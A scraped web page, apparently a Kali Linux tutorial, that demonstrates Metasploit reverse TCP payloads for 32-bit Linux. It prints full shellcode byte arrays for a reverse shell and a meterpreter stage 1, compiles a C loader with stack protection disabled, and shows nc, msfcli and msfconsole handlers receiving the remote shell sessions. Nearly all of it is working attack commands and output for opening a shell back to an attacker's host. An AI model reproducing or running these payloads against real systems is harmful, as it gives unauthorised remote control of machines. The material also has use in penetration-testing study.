Kali linux reverse tcp

Kali linux reverse tcp

msfpayload -p linux/x86/shell_reverse_tcp LHOST=192.168.163.129 LPORT=5566 C

/* * linux/x86/shell_reverse_tcp — 68 bytes * http://www.metasploit.com * VERBOSE=false, LHOST=192.168.163.129, LPORT=5566, * ReverseConnectRetries=5, ReverseListenerBindPort=0, * ReverseAllowProxy=false, PrependFork=false, * PrependSetresuid=false, PrependSetreuid=false, * PrependSetuid=false, PrependSetresgid=false, * PrependSetregid=false, PrependSetgid=false, * PrependChrootBreak=false, AppendExit=false, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = «\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80» «\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\xa3\x81\x68» «\x02\x00\x15\xbe\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1» «\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3» «\x52\x53\x89\xe1\xb0\x0b\xcd\x80»; int main(int argc, char **argv)

$ gcc -fno-stack-protector -z execstack shell_reverse_tcp.c -o shell_reverse_tcp
$ ./shell_reverse_tcp &
[1] 2735

root@kali:~# nc -lvp 5566
nc: listening on :: 5566 …
nc: listening on 0.0.0.0 5566 …
nc: connect to 192.168.163.129 5566 from 192.168.163.132 (192.168.163.132) 39852 [39852]
uname -a
Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed
Aug 14 15:31:16 UTC 2013 i686 i686 i386 GNU/Linux

root@kali:~# msfcli exploit/multi/handler PAYLOAD=linux/x86/shell_reverse_tcp LHOST=192.168.163.129 LPORT=5566 E
[*] Initializing modules…
PAYLOAD => linux/x86/shell_reverse_tcp
LHOST => 192.168.163.129
LPORT => 5566
uname -a
Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed
Aug 14 15:31:16 UTC 2013 i686 i686 i386 GNU/Linux

root@kali:~# msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.163.129
set LPORT 5566
exploit

[*] Started reverse handler on 192.168.163.129:5566
[*] Starting the payload handler…
[*] Command shell session 1 opened
uname -a
Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed
Aug 14 15:31:16 UTC 2013 i686 i686 i386 GNU/Linux

P.S. Command shell sessions do not support migration

——————————————————————————
msfpayload -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.163.129 LPORT=5566 C

/* * linux/x86/meterpreter/reverse_tcp - 71 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LHOST=192.168.163.129, LPORT=5566, */ unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80" "\x97\x5b\x68\xc0\xa8\xa3\x81\x68\x02\x00\x15\xbe\x89\xe1\x6a" "\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10" "\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b" "\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"; int main(int argc, char **argv) < int (*func)(); func = (int (*)()) buf; (int)(*func)(); >/* * linux/x86/meterpreter/reverse_tcp - 1228800 bytes (stage 2) * http://www.metasploit.com */

meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.8.0-29(i686)
Architecture : i686
Meterpreter : x86/linux

meterpreter > shell
Process 3282 created.
Channel 1 created.
$

Читайте также:  Creating user account linux

Источник

Оцените статью
Adblock
detector